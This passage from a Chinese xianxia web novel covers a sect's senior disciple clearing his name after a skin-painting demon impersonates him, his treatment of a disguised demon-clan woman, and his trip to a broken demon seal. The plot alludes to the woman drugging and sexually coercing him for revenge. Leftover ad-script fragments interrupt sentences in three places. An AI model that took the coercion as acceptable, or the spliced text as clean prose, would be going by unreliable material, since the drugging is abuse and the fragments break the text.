沈南音那时灵力已经恢复七成,身上清爽干净,没有昨夜黑暗之中的泥泞与狼狈,仿佛他只是做了个梦,可他知道那绝不是梦。 他的伤口还在。 眉峰上被人划破的伤痕已经愈合结痂,他的身体恢复能力惊人,灵力找回来后,想将这点皮外伤疗愈得毫无痕迹也是轻而易举,但他没那么做。 不管是眉峰的被人指甲划破的伤痕,还是某个从未有第三人见过之处的伤痕,他全都无暇顾及。 他必须趁着最后一点时间,将大妖全部抓回。 好在虽然有点难,他还是做好了这件事。 人站在镇妖塔里,耳边回荡着大妖们的污言秽语,沈南音全不放在眼中。 待阵法修复好,他要转身出去的时候,那在群妖上首一直沉默的画皮妖忽然哼笑起来。 “沈南音,纵然你法力高强,天赋异禀,百年的修为便能擒获我们,那我们也不算吃亏。” 沈南音因为“吃亏”两个字脚步顿住,今日又一次失神。 他想到自己不久之前还对另一个人提到过这两个字。 他今日魂不守舍的次数实在有些多,这完全违背了他的习惯与自律到有些严苛的性格。 沈南音紧锁眉头,那张总温和浅笑从容不迫的脸上难得布满寒意,这让画皮妖更是欢欣。 “你们暗中封锁乾天宗,怕我们逃走再难抓回,这确实庇护了山外的弱小,可你们那些弟子就没那么幸运了。” “沈南音,你确实光风霁月,享誉天下,但那是以前了。” 画皮妖幸灾乐祸道:“本座给你留了一个惊喜,你出去之后,很快就会收到。” 沈南音多么敏锐,听画皮妖这么说,再联系到他是个什么东西,已经明白他可能干了些什么。 他又想到了程雪意那些质问和报复,看来与此妖脱不了干系。 待转身欲要问个明白,师尊已经关闭镇妖塔的门。 沈南音站在门前,只看到画皮妖脸上不甘又憎恶的神色。 “南音,那画皮妖和你说了什么?” 苏沉梦见他神色不对,走过来关切询问。 沈南音行礼后才回话道:“苏长老,无碍的,他没说什么。” 苏沉梦点头道:“不管他说了什么,你都不要往心里去,不过是妖言惑众罢了。” 观察了他一下,苏沉梦继续道:“你的伤很重,直接同我回去吧,我为你疗伤。” 苏沉梦是碧水宫的长老,是乾天宗内唯一修医道的大能。 她座下弟子不多,皆因她十分挑剔,选弟子不看灵根和天赋,只看性情和得不得灵植喜爱。 沈南音收妖时确实受了伤,伤势不轻,若能得苏沉梦亲自疗伤,想来不日就能痊愈,但他拒绝了。 “一点小伤,南音自行解决便是,长老劳累数日,宫内药植恐怕都无人照料,此次镇妖塔失守是我之过错,怎敢再劳烦长老。”他行了礼,退后道,“多谢长老好意,南音告退了。” 虽已修至道君,可以不向任何长老行礼,但沈南音一向克己复礼,从不因自己修为高而自负自得。乾天宗上上下下,无论前辈还是晚辈,都对他说不出一个差字来。 所有人都知道他是乾天宗下一任宗主人选,除了那事事爱与他争个上下的亲传师弟外,无人觉得他配不上那个位置。 玉不染冷冷地望着沈南音的背影,他好不容易抓住个能把大师兄比下去乃至拉下神坛的机会,没想到就这么落空了。 沈南音一直说镇妖塔失守是他的责任,将罪责揽在自己身上,其实这件事严格来说与他无关。 这次负责检查镇妖塔阵法的是玉不染座下弟子。 沈南音算是在给他兜底。 他站在前面,旁人就不会来指责玉不染,可玉不染不稀罕他如此。 “大师兄,不要以为你这么做 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我就会感激你。” 在沈南音与他擦肩而过的时候,玉不染压抑道:“我只会更加讨厌你。这次又给了你出风头的机会,你倒是该反过来感谢我。” 沈南音已经很累了,但他眉宇间没什么倦怠之色。 他总是这样气息平和,稳步向前,给人很强的安全感。 他停下脚步看了玉不染一眼,眉峰上的伤痕让玉不染微微蹙眉。 “师弟。”沈南音用只有两人听得见的声音说,“你我从小一起长大,虽不是日日相伴,也算彼此了解。你做了什么,旁人或许不知道,但我很清楚。” 玉不染呼吸一顿。 “安排你座下弟子故意无视阵法错漏,给大妖机会逃脱,再亲自抓回他们,展露实力后便处置了‘犯错’的弟子,如此最多被怪罪教下不严,于你不算什么损失,这计划太冒险了。” “你想要建功立业,让师尊与同门都看见你,可你用错了方式。” “你提前设计好的那些所谓伏妖阵,有用的不超三处。” 沈南音温声道:“若我真的放手不管,你今日恐怕已经死在他们手下。” 玉不染目龇欲裂,沈南音依然不紧不慢。 “我不是为了帮你,我只是不希望真的发生什么不可挽回的事情来。镇妖塔乃先辈所设,我既为你的师兄,为乾天宗弟子首座,便有责任看护好镇妖塔。师尊闭关前也交代我守好它。镇妖塔出事,即便是你故意疏忽所为,我亦是首要责任。我揽下此错理所应当,你不必感激我,厌恶我也无所谓。” “你想证明你比我强,不必非得用这么极端的方式。” 沈南音看着玉不染,慢慢说道:“既然你觉得你可以,下个月噬心谷降灵之事,我会劝师尊派你前去。” 玉不染瞪大眼睛,不可置信地看着他。 沈南音笑了一下,抬脚离开,不管对方信不信,他决定了的事,从来都会做到。 只是如何劝服师尊派别人去做“降灵”这样的要事,还要费一番思量。 或许天道不想他这么累,很快就有理由送上了门。 画皮妖给他的惊喜来了。 镇妖塔出事的消息封锁得十分严密,除了长老以上级别无人得知。 一切尘埃落定,更无需让众人知道,徒增恐慌。 直到沈南音被无数女修包围。 他受了伤,暂时留在道场休养生息,不见人也不外出,只处理一些宫务。 谁也没想到,他会有被女修们指责怨恨,兴师问罪的一天。 沈南音耳边满是质问,一声声“看错了你”,一声声哭泣,真武道场从未这样热闹过。 他没解释,实在是没有解释的机会。 女修们你一言我一语,同仇敌忾,即便这个负心人是大师兄,她们也势必要讨一个说法。 沈南音玉冠白衣,清风明月,实在看不出来是个那样花心浪荡始乱终弃的人。 她们都在说知人知面不知心,沈南音嘴唇动了动,想到程雪意的脸,还有那夜洞窟里发生的一切,缓缓阖了阖眼。 最终还是静慈法宗出现解围,闹剧收场。 他将事情理清楚后,对外公布了镇妖塔失守,画皮妖冒充沈南音胡作非为的消息。 还好女修们只是被吸食灵气,并未有更多损伤,苏长老出面给姑娘们炼了些补气丹,很快也就没事了。 一切归于平息,但此事到底还是对沈南音有些影响,噬心谷降灵的事情,静慈法宗充分考虑之后,交给了玉不染。 此事闹得很大,哪怕程雪意是个太玄宫打杂弟子也有所耳闻。 她的心情跟着事态变化一波三折。 一开始是为沈南音居然广撒网,一片海洋里除了她之外还有那么多鱼而震惊,后面又为事情真相公布而怔愣。 所以沈南音受尽折磨也不肯承认他们的关系是因为这个。 千年画皮妖? 那还真是厉害。 她为不暴露身份压制了灵脉,力有不逮之下,居然也着了道。 难怪这几日总觉得精气不足,原来是被大妖借光了。 搞了半天,她认错人了。 程雪意:) 5. 005 长夜漫漫,沈南音修炼完毕,处理好要紧的宗务,便散发准备休息。 解发冠的时候,看到玉冠上栩栩如生雕刻的仙鹤,不免觉得眼熟。 这是那夜出事时他戴的发冠。 捏着发冠的力道微微加大,沈南音想起事毕后换衣时的情境。 他盯着程雪意替他梳的头很久才动手散发,玉冠被放在柜阁最里面的位置,不知何时又跑到了前面来。 细细算来,修复镇妖塔的事也才过了七日,七日时间对修士来讲仿若刹那,一些不曾刻意抹去的记忆总是在夜深人静的时候排山倒海袭来。 沈南音已经七夜未眠,饶是他如此修为,依然有些精力不济。 他知道自己该好好休息一夜,可一想起潮湿洞窟里发生的一切,他便再也睡不着了。 被找上门的师妹们围攻时,他没在人群里看见程雪意。 想到她一身外门弟子的衣裳,该是与内门的师妹搭不上路,消息不通的。 后来师尊公布了镇妖塔失守的原委替他正名,也不知她听说了没有。 苏长老炼制的补气丹药效极好,所有师妹都拿到了,可程雪意没拿。 沈南音看着阁案上摆着的丹瓶,那双微入露水的大眼睛再次涌入他的脑海。 于是他知道若不亲自为此事做一个了结,他恐怕会永远这样神思混乱下去。 这显然不符合他的道心,所以次日一早,沈南音便亲自前往太玄宫寻程雪意。 他带上了那瓶补气丹,到了太玄宫却发现,那日与程雪意相伴的陈素青在,她却不在。 “大师兄要找雪意?”阿青和沈南音说话声音颤颤巍巍,双手紧张地抓住衣袖,“雪意今日身体不适,告了假,在舍间休息。” 沈南音站在太玄宫的屋檐下,来来往往的弟子路过都会与他行礼打招呼。 那么多的弟子,他大多数都能叫上名来,对待任何人都不厌其烦地微笑致意,完美的仪态挑不出任何错处。 阿青胆子小,有些怯意,也逐渐被他的姿态安抚,平稳踏实下来。 沈南音这时才继续问:“她身体不适?你们是好友,可知她情况如何?” 他丝毫不掩饰自己对程雪意身体情况的关心,握着丹瓶的手微微收紧,以为她是被妖孽吸□□气导致的后继无力,起不来床。 毕竟只是个天赋普通的外门弟子,即便是内门的师妹们也是服用了补气丹才好起来。 在这之前她们茶饭不思,做什么都无法集中注意力。 当时只以为是被情人冷落心情不好所致,根本没想到是被吸食了精气。 画皮妖就是抓住了女修们只要能和大师兄在一起,哪怕白日要伪装成普通师兄妹,得等待时机才能公布关系也甘之如饴的心态。 他靠着这个屡屡得手,直到被关入镇妖塔无法再维系关系后才被发现端倪。 阿青多看了沈南音几眼,她也听说了画皮妖的事,知道大师兄被误会,师姐们被骗了,思及那日雪意被大师兄送回来,难不成也与此事有关? 她想了想说:“大师兄不必担心,雪意是老毛病了,每季这几天她都会身上不舒服,过几天就会好的。” 她迟疑了一下才道:“大师兄若有事交代她,可以告诉我,我下了值转告她。” 沈南音转了转手里的丹瓶,低声道:“这几句话已经耽搁了师妹的时间,怎敢再多劳烦,师妹自去忙吧。” 他语毕转身离开,阿青呆呆望着他的背影,要说内门师姐们上了画皮妖的当,她完全可以理解。 换做她,约莫也是抵挡不了大师兄的诱惑的。 他身上没有丝毫天骄的自傲和高高在上,人生得那样好看,便如画中仙人走入世间,转身时雪色道袍荡漾开来的弧度恣意落拓,像风吹进了人的心房,搅扰得一颗心扑通扑通乱跳。 阿青使劲甩了甩头,叫自己不要胡思乱想。 这样的人物,和她说几句话已经是难得的事情了,那吐息间属于大能的气润,是她此生拍马都追不上的。 这便是洁净的纯灵根吗? 听闻大师兄是单水灵根,三年筑基十年结丹,三十年结婴,不到百岁便位列道君,是后辈弟子里当之无愧的第一人。 便是静慈法宗年轻的时候,也不及他这样的速度。 阿青一个杂灵根,在他身边多站一会都觉得神清气爽,真的不怪人人都想接近他,暂时得不到名分也不会怀疑他的人品。 画皮妖实在太会选人了。 也不知大师兄找雪意是不是与画皮妖的事有关,若真是这样,雪意瞒得可真好,她一点痕迹都没露,也不知有没有受伤,心里难不难受? 外门弟子的舍间在山脚下,程雪意每日上值日要走一个时辰,沈南音来这里却只要一念之间。 他人一来到这里,就知道程雪意在何处了。 她的气息那么熟悉,他一下子就感知到了她的方位。 真的找到了人,沈南音突然有些迈不开步子。 避开人站在僻静的角落,他低头看着手里的丹瓶,几经思索,在转身和往前之间,最终选择了后者。 总要做个了断。 往年这个时候,他早已前往噬心谷,为谷内魔族行降灵之术。 所谓降灵,顾名思义,便是用灵力覆盖整个噬心谷,听起来是件好事,其实是折磨人的事情。 他不喜欢这些,但师尊总是要交给他。以后他做了宗主也逃不开这些责任,所以哪怕心里不喜,他也总是会去。 魔族肆虐人间大地,生灵涂炭,伤害无辜,屡教不改,被封印关押无可厚非,他一直这样告诉自己。 每次站在噬心谷外用将灵力送入谷内,毁掉他们短短一季度内获得的修为后,哀嚎声和诅咒声总是不绝于耳。沈南音哪怕不说,静慈法宗也知道他不喜欢听,他建议沈南音屏蔽听觉,如此会好一些,可沈南音从不那么做。 他每次都自虐一样仔细听清楚,也不知道到底是为了什么。 好在这样的事情,这一季不必由他去做了。 不过眼前的事情,比降灵更加棘手。 这会儿正是忙碌的时候,外门弟子舍间几乎无人留存,只有程雪意的房间里有气息,气息还十分微弱。 沈南音靠得越近听得越清楚,他快步走到门前,抬手敲门,屋内无人回应。 他又开口自报身份:“程师妹,在下沈南音,你还好吗?” 屋内气息忽然急促起来,没任何回应的意思,沈南音等不下去了。 “冒犯了。” 哪怕已经是被程雪意这样那样折磨过的关系,他还是对这个人保持着该有的礼节。 他似乎一点都没怪罪她对他的侮辱。 程雪意望着推门而入的男人,脑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子里冒出这样的想法。 为什么不生气呢? 是人被那样折磨都不会高兴的吧? 还是身份地位那么高贵的人。 换做是她被这样误会与对待,不管出自什么缘由,有什么借口,她都会用自己最可怕最狠毒的手段报复回来。 届时死都只会成为对方的一种解脱。 可沈南音不但没那么做,甚至还来关心她的身体。 门打开的一瞬间,她无法看清逆光站着的人脸。 不过这不妨碍她分辨出他脚步的急切。 虽然急切,他依然是有条不紊的。确定她衣衫整齐,盖着被子,才放开全部的视线。 沈南音走到床榻边,精致的雪衣上绣着只有他那个身份能穿的仙鹤图腾。 仙鹤口吞日月,意在乾天宗可掌日月的雄心壮志。 白衣外的纱衣揽着他精瘦的腰身,程雪意对那布料之下有几块腹肌记忆深刻。 她张开想说什么,却一个字都说不出来,不住地咳嗽。 真糟糕,这么狼狈的样子被他看见了,他应该很解气吧。 身为君子——至少表面上是个无可指摘的君子,他无法口出恶言,不能正面追究她的责任,那心里也是记恨的。 他今天来这里是为了什么呢,兴师问罪的话,怎么不早点来。 程雪意昏昏沉沉地想到这里,感觉一阵凉意靠近,她浑身的燥热得到缓解,不自觉朝凉意靠近。 沈南音本来坐在床榻边缘,只占很少的一部分,并不会冒犯到程雪意,也方便为她疗伤。 可她自己靠了过来,脸埋在他垂下的乌发和衣袖上,沈南音打开丹瓶的动作微微一顿,半晌才继续下去。 “这是苏长老炼制的补气丹,师妹被画皮妖吸食了精气,吃了能补回来。” ……补气丹。 是有这么回事。 她没去拿,因为起不来床。 那画皮妖也没吸她多少精气,她几乎没受影响,沈南音如果是专程为了送这个而来,实在是有点多余。 “大师兄来这一趟,不会只是为了给我送这个吧。” 她不信是这样,说话的声音沙哑无力,身上的疼痛令她心烦意乱。 这么多年了,还是没办法习惯这每季准时到来的切肤之痛。 这全都败修士所赐。 尤其是眼前这个修士。 程雪意眼神幽冷地望着沈南音,以为他能说出什么别的来。 沈南音却道:“只是为了这个。” “……”程雪意努力找回一点精力,目光划过衣冠楚楚故光风霁月的大师兄,轻声说道,“我都那样对你了,你还要给我送补气丹?” “你应该巴不得我受罪才对吧。” 沈南音望着她,静默片刻,双指并拢,用灵力拭去她额头细密的汗珠。 他平静说道:“此事错在我,师妹只是被骗了。若非镇妖塔失守,画皮妖为尽快增强灵力和报复我而四处蛊惑人心,你也不会有机会……走极端。” “好在他也怕兴风作浪过甚会暴露踪迹,并未酿成更大错处。” “至于那些事……我是男子,无甚大碍,若能解你心头怨恨,发生了,那就发生了。” 程雪意呆了呆,看着他仁慈宽容带着神性的脸,只觉得眼睛好痛。 这是什么圣父光辉了? 6. 006 程雪意坐在床榻边,看沈南音帮她疗伤。 她的伤是老毛病,有记忆起每季都是这个样子,旁人没有任何办法,唯独眼前这个人可以。 为什么呢? 因为这都是拜他所赐。 一年四季,乾天宗每一季都会派人前往噬心谷降灵。 所有不肯将努力得来的修为毁掉的魔族,都要受噬心之苦,这便是噬心谷名字的由来。 没人受得了日日夜夜的噬心之苦,所以大家都会乖乖交出自己辛苦得来的修为,大部分甚至乖顺地不再修炼,哪怕如此也只能稍稍减少一些痛苦,不能完全不痛。 这么多年过去,噬心谷里的魔族修出名堂的屈指可数,长此以往,恐怕万万年之后,魔族依然逃不掉被封印的命运。 程雪意想要自由。 更想要找到方法把阿娘救回来。 所以她不能和别人一样甘心奉上修为。 于是这样最强烈的噬心之苦,她生生受了数十年。 那夜在外门看见“沈南音”的时候,她就知道自己等了五年,终于在等级制度严格的乾天宗里面找到了机会。 她费尽心机,卖力讨好,哪想到努力白费,她被骗了。 但现在看来,结局也没有功亏一篑那么惨烈。 她那一时冲动的报复心,似乎为她寻到了新的机会。 程雪意眼神晦暗地感受着那熟悉到刻骨铭心的灵力。 往年这灵力都是令她痛苦的根源,但现在它却在温暖和治疗她。 程雪意噬心之痛缓解,身上没那么汗津津,便更有心情观察眼前这个人。 沈南音去噬心谷降灵,是执行师尊下的命令。 蛰伏乾天宗五年,她也明白他是个怎样的人。 可那又如何呢? 她管不了那么多缘由,她只知道,受苦的人是她的亲人朋友还有自己。 魔族有那么多,自然也有作恶多端该得恶报者,可人族之中就没有恶人吗? 魔族和人族也没什么不同,只是被一棍子打死,都封印在了噬心谷里,下场比妖族都惨。 也罢。 她不指望总说着“非我族类其心必异”的人族,可以设身处地为魔族着想。 毕竟就算是沈南音这样的圣父,也亲手做着折磨的事。 他的慈悲也好,大义也罢,都维持在程雪意目前人族修士的身份上。 若他知道坐在他面前的是一个妄想夺取白泽图,打开噬心谷封印的魔族,肯定会立刻翻脸,对她大打出手。 程雪意忽然笑了一声,沈南音恰好这时收手,目光落在她笑意犹存的脸上,眼神对上的一瞬间,他听到她问了一个问题。 “若今日是旁人没去拿补气丹,大师兄也要专程送一趟吗?” 程雪意忽然朝前倾身,目光灼灼地凝视他:“看见别的师妹受伤,大师兄也会这样留下为她疗伤吗?” 沈南音垂眸望着女子近在咫尺的鼻息。 程雪意挺巧的鼻尖几乎与他只剩一指之隔。 她的呼吸带着淡淡的馨香,让他想到桃花香,进而想起桃花醉。 桃花醉药效再厉害,也不足以让沈南音破功到一败涂地。 他能在药效下维持理智,即便是身体的本能反应,也不见得控制不了。 程雪意忽然又往前了一些,腰间始终挂着的银铃撞出脆响,沈南音浑身一凛,身子猛地后退。 程雪意嘴角笑意荡开,以为不会得到这个人的回应,毕竟这样的问题确实没什么好回答的,他的姿态已经说给了答案。 可沈南音退开之后反而回答了。 他沉静而审慎道:“不会。” 程雪意一顿。 “你的伤非同小可,碧水宫恐怕处理不了。” ……这意思就是,如果是碧水宫可以处理的伤势,他会直接送人去碧水宫? 程雪意不太不在乎这个,她在乎的是沈南音口中的“非同小可”。 是了,真是好大疏忽,噬心谷降灵留下的旧伤定期就会复发,别人或许看不出门道来,可始作俑者怎么会不认识自己留下的东西呢? 沈南音发现了什么吗? 程雪意不动声色地扫过沈南音的脸,很可惜,她在他平静无波俊美无俦的容颜上看不出任何问题。 手不自觉抓紧了裙摆,在沈南音打算继续这个话题之前,她先一步转了话锋。 “那是不是别人误会了大师兄,做了我做的那些事,大师兄也会不计前嫌,如此大方。” 沈南音果然将到了嘴边的话咽了回去,眸光转开,微抬下颌,静默下来。 程雪意细细打量他,他不止是皮相美,骨相也极佳,微抬下颌清静呼吸的模样无一不舒展美丽,整个人温润轻盈,如镜花水月,轻飘飘的没有重量,很疗愈。 “若你非要问这些。”沈南音斟酌过后才道,“别人拿不到桃花醉,便是拿到也无法得手。” 沈南音虽然对本门师妹不设防,但那日镇妖塔情况紧急,见了受伤的师妹,他只会留下结界将她庇护其中,而后传音让别人来将人带走救治,他去收妖要紧。 她能骗到他,让他闻桃花醉,这只是计划成功的第一步。 想成功报复,还得让沈南音彻底就范才行。 她以为的桃花醉所向披靡,其实沈南音并不放在心上。 至今那药在他体内仍有些残存,但一点都影响不到他。 他望向程雪意,看她坐回床榻,眨着眼睛品味他的话。她像悬挂在房檐上轻巧的风铃,含着紫色薰衣的雅致,散着满头长发,一双眼睛无辜又无邪,真瞧不出内里会是那么极端的人。 她总要对比别的师妹,拿这样的话做话头,沈南音干脆也学着她来了一次。 “其他师妹觉我负心,会上真武道场兴师问罪,直来直去,你与她们也不同。” 沈南音四平八稳地坐在那里,浑身散发着神性光辉,几乎语重心长苦口婆心的话让程雪意烦不胜烦。 他说:“我不知程师妹从前经历过什么,亦不想随意调查冒犯于你。是以只能当面劝说程师妹,日后无论再发生什么事,都不可像此次这样鲁莽作为,不是每一次结果都会如你所愿。” “我来之前,遇见了宫明长老。” 沈南音不得不回忆前往太玄宫之前的一段偶遇。 他记得程雪意提到桃花醉的由来,是执行外门的任务误入鬼市,遇见了其中大能,得长老相救后,自己留下了意外得到的桃花醉。 救他们那一行弟子的恰好就是宫明长老,撞见他,沈南音打完招呼,便随口询问此事是否凶险,后续可处置妥当,宫明长老的说法与程雪意有些出入。 “你说那件事啊,我之前写了奏报上去,你该看到过啊。”宫明长老说,“是有些凶险,好在有个外门丫头警觉,求救及时,乾天宗没什么损伤。那鬼市大能是个吃里扒外的内贼,鬼市的人也在追踪他,他窃的法宝都被鬼市原数取回,为谢过我们帮忙,还许了两张下次开市的头场票。我给了苏长老一张,还有一张夹在奏报里给你了,你没见到?” 见到了。 沈南音自然收到了。 他当着程雪意的面,从芥子里取出那张头场票,慢慢说道:“鬼市原数取回了被窃取的法宝,不见遗漏,送了这票来答谢。” 程雪意眉眼一跳,死死盯着那张要命的票,终于有些后悔为何要一时冲动。 显而易见,真的沈南音可比假的难糊弄得多。 假的自己心虚,也无心怀疑程雪意什么,真的就不一样了。 沈南音发现了她的破绽,摊开来说,然后呢? 下一步他要怎么做。 要抓她的话何必再疗伤? 他是不是已经知道她是魔—— 就在程雪意准备鱼死网破的时候,沈南音将鬼市的头场票递给了她。 程雪意一愣,难得茫然不解。 沈南音将票压在她掌心,一点点合十她的手。 他的手温暖干燥,手掌大,掌心柔软,被他握着,程雪意冰冷的手逐渐温暖过来。 她有些不适,与假的他相伴一月,夜里待在一起的时间远比他们现在长得多,可那时她和假的没有任何肢体接触,牵手也没有。 而现在,她与真正的沈南音不过几面之缘,肌肤相触摸的次数已经数不过来。 程雪意想要将手扯回来,她前不久还用这只手握着他那里,折磨他上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上下下不得释放。 现在却被他的温暖感染,实在叫人难以自处。 沈南音很快放开了她,站起身道:“开市的时候,你拿票进场,把剩余的桃花醉还回去。” 程雪意更呆了。 不是都说了全数取回吗? 怎么是“还”?? “那次任务全靠你及时求救,才挽回一众弟子性命,把损伤降到最低,这是你该得的奖赏。你还了桃花醉,时辰应该尚早,可在鬼市里寻些对涤净灵根和辅助修行的宝物,灵石可记在我鬼市的账上。” ……他真是想多了。 她是为了自己的安危才求救,可没多关心别人,顶多不想阿青跟着一起出事。 不过能拿到奖赏总比被揭露身份来得好,程雪意刚松口气,就听沈南音再次开口。 “至于你体内的伤,还有桃花醉的来历。” 沈南音望着她,好看的眉缓缓靠在一起,微微颦着道:“外门辛苦,你若有心上进,也有机会进入内门修行,不可有急功近利寻旁门左道之心。鬼市中人诡谲狡诈,便是对宫明长老也不见得全说真话,你若与他们有什么私下交易,要及时终止。” “你虽受乾天宗心法反噬,但身上尚无污浊邪气,还能回头。我今日替你疗伤,为你清肃灵根,望你日后潜心修行,莫要再用激进之法,遇事也别再那么极端。” 沈南音言尽于此,他不喜说教,但他觉得程雪意不管是身体还有心理状态都不太健康,所以才多嘴了两句,说完便起身告辞,走得并不犹豫。 门打开又关上,程雪意手里拿着那张鬼市的头场票,忍不住嗤笑一声。 所以这疗伤更多是为了确定她的身份。 认可她确实是个人族,身上没有妖魔之气后,才断定她是不甘心屈居外门,在用旁门左道修行,以至于被乾天宗纯正心法反噬? 笑死,这也没说错,受他的乾天宗功法噬心,也算是某种意义上的“反噬”吧。 如此甚好,虽然惊险,但还是过关了,不枉费她自封灵脉,没有白受苦。 沈南音果然谨慎,还说来这一趟是为了送什么补气丹,到头来试探她身份才是第一位。 最后还要告诫她别再激进极端,说什么桃花醉是她和鬼市的人私下交易都得来的……还真被他给猜对了。 鬼市既然是鬼市,行事自然鬼魅没有底线,乾天宗他们也不是不敢招惹,只是稍有避讳罢了。 程雪意兜比脸干净,又在乾天宗外门当牛做马,没机会进真的鬼市,上次难得碰上他们的人,抓住了其中一个的把柄,何止搞到了桃花醉,还拿了不少有趣的好玩意。 沈南音说什么及时终止,是想让她还回去? 鬼都不听他的话。 程雪意缓缓攥紧了手里的头场票,票单和她手上还残留他的余温,她皱了皱眉,带着这样的温度钻回了被子里。 虽然不疼了,可还是很累,她得睡一会,养精蓄锐才能成大事。 闭眼没多久,她忽然又睁开,猛然想起,沈南音说了那么多,但好像从头到尾都没有正面回答她第一个问题。 她问的是什么来着? “若今日是旁人没去拿补气丹,大师兄也要专程送一趟吗?” 不答便不答了。 反正也没什么要紧。 真武道场上,沈南音往静室走,脑海中仍不断回想起程雪意那双眼睛。 他很少顾左右而言他,一些问题能回都回,实在不能回也会直言。 生平第一次,他避开了某个问题。 这其实也不难回答,只是不知为何,他有些开不了口。 若今日是旁人没去拿补气丹,他也要专程送一趟吗? 不会。 找谁去送都是可以的。 她的情况不一样。 沈南音站在道场中央,他第一次见程雪意就在这里。 她仰头看着他,质问他与付菁华为何夜会,为何不去见她,为何不解释。 那理所应当明艳热烈的眼神令人过目难忘。 当夜洞窟内发生的一切,更让他此生难忘。 …… 长恨人心不如水。 等闲平地起波澜。 7. 007 还没走进静室,沈南音便收到师尊传音。 静慈法宗请他过去,说是玉不染回来了。 降灵本该持续三日,如今还不到两天,师弟突然回来,定是出了什么问题。 沈南音立刻赶往清虚阁,清虚阁乃静慈法宗的闭关之所,只对沈南音一个人不设防,自由出入。他跨入阁内的一瞬间,就感觉到里面气氛紧张。 抬眸划过在场众人,除了师尊之外,还有三位跟着玉不染前去噬心谷降灵的师弟。 三人各自都受了伤,但灵息尚稳,沈南音没在清虚阁看见玉不染的身影。 “大师兄。” 三位师弟见了沈南音都低头行礼,自动告知玉不染情况。 “二师兄为救我们受了伤,正躺在碧水宫不能动弹。” “噬心谷出事了?”沈南音直接问。 三位师弟面色恐惧,嘴唇动了动,无人敢回忆当时发生的事情。 最后是静慈法宗现身道明一切。 “噬心谷封印出了问题,有被强行突破的痕迹。” 静慈法宗蹙眉道:“为师夜观天象,为修真界扶乩卜算,观一祸星降世,连日来镇妖塔失守,噬心谷封印被突破,皆与祸星有关。” “噬心谷封印被强行突破?”沈南音当即道,“不可能,弟子上一季才去降灵,仔细检查过封印,没有错处。” 静慈法宗慢慢道:“该是你离开之后出现的,噬心谷自建成以来,还没有修界的人进去过,不知里面具体情形,或许真有人扛得住降灵噬心之苦,留存了力量来突破封印。” 沈南音忽然失神,不知怎的,想到了刚刚才见过的程雪意。 她所承受反噬之苦很像降灵所致。 但她是人修无误,体内经脉查不出任何魔气,是以他觉得她是走偏门被心法反噬了。 “南音?” 沈南音倏地回神:“弟子在。” “你想到了什么?” 沈南音默了默道:“没什么,师尊,弟子想再去一趟噬心谷,确认一下封印情况。” 静慈法宗道:“为师正有此意。这件事一开始就不该交给你师弟去做,若此次是你前去,绝不会受那么重的伤。他非要逞强,现在人躺在碧水宫伤重不起,苏长老说还要一味药才能制成丹药将他唤醒。” “师弟需要什么药,弟子从噬心谷回来,便去为师弟寻来。” 乾天宗都没有的药,自然珍贵难得,但沈南音话说得坚定平和,令人完全相信他能拿到那药。 “是修月草。你手中不是有鬼市下次开市的头场票?修月草便是下次鬼市头场的压轴之物,不管要多少钱,你自去拍来为不染疗伤就是。” 修月草有起死回生,重塑灵脉之效,千年难得一见。 玉不染的伤需要用到修月草,可见情况十分危急。 沈南音闻言一顿,几息之后点头应下。 从清虚阁出来,沈南音未做停留,直接离宗去往噬心谷。 噬心谷远在修界边陲,以沈南音的脚程也得一日一夜才能到。 他有意赶路,极致之下当夜便到了这里。 乾天宗明月清朗,四季分明。 噬心谷黑暗阴冷,只有寒冬。 风雪在昏暗的光线下飘摇不断,哀嚎声也不知是从谷内传出来的,还是风刮过带起的。 沈南音一眼就发现了封印问题所在,溃散而出的魔气怨念滔天,道心稍有不坚者到此处都会立刻被魔气操控。 沈南音自然没有这种烦恼,他当即重塑封印,将魔气一点点逼回突破口之中,咬破指尖,以血结印,用血阵补全了封印的破损处。 一切结束,已经是第二日白天,噬心谷不见天日,光线仍是昨夜来时的样子,沈南音灵力透支,行走时身体有些摇晃虚弱,但不至于摔倒。 他现在可以确定,此处封印破损确实是他上一季降灵之后出现的。 噬心谷里有大魔躁动,似乎急切地想要出来做些什么。 沈南音从不怀疑有大魔可以经受噬心鞭挞之苦,守住自身修为,但他不认为这些大魔真有破阵而出的能力。 眼下这样的事情差点就发生了,他不得不重新考虑封印的可靠,以及导致大魔如此暴露力量也要冒险尝试出来的究竟是什么? 沈南音服了一颗补灵丹,思忖片刻后,只身一人进入噬心谷。 自噬心谷建成,还无人真的进来查看过内里情形。 沈南音以为自己会看到漫天魔气,遍地尸骨,但是没有。 他看到一处处屋舍,虽确实被魔气环绕,但撇开魔气不看,便似到了一处普通的城镇。 一轮血月挂在天空中,沈南音每走一步,便有无尽魔气被溅射开来。 “真武明华道君……” 空旷的街道中,传来少年隐约的笑声。 “你竟然敢走进来啊?” “沈南音,你怎么敢走进来的?” 沈南音迅速锁定声音来处,本命剑瞬间握在手中,与扑面而来的魔气对上,将魔气粉碎成金色的辉光。 闷哼声响起,沈南音虽然看不见少年身在何处,但不妨碍他知道对方情况不会太好。 “尝试突破封印的是你?” 他冷静地做出判断,封印上残存的魔气与对方相同,他承受不住他的剑气,一方面是因为噬心之痛来源于他,本能上对他有所畏惧和臣服,另一方面则是突破封印耗费了太多力量。 “不回答,那我便自己来看。”沈南音慢慢道。 他执剑而起,剑刃从双眸上划过,通明之术开启,屋舍周围隐藏的魔族全被他看得一清二楚。 他们在守卫一个地方。 那地方有异常的灵力波动,若不进入噬心谷,绝对发现不了。 “那是——” 沈南音想靠近一探究竟,但谷内魔族拼尽全力也不允许他靠近。 大战一触即发。 乾天宗,太玄宫。 程雪意脸色苍白地来上值,阿青担心地围着她转,想让她回去再休息休息。 “往年你都是三天便好了,怎么这次这样久,这都第七天了吧?” 阿青忧虑地摸了摸她的脸:“还在疼吗?” 程雪意笑了一下,苍白小脸勉力挤出笑容的样子更惹人怜爱了。 “我没事,不用担心我,你快回去休息,替了我这么多天,肯定很累了。” “可是……” “真的没事,我有分寸,快去吧。” 阿青百般纠结,终究拗不过程雪意,一步三回头地走了。 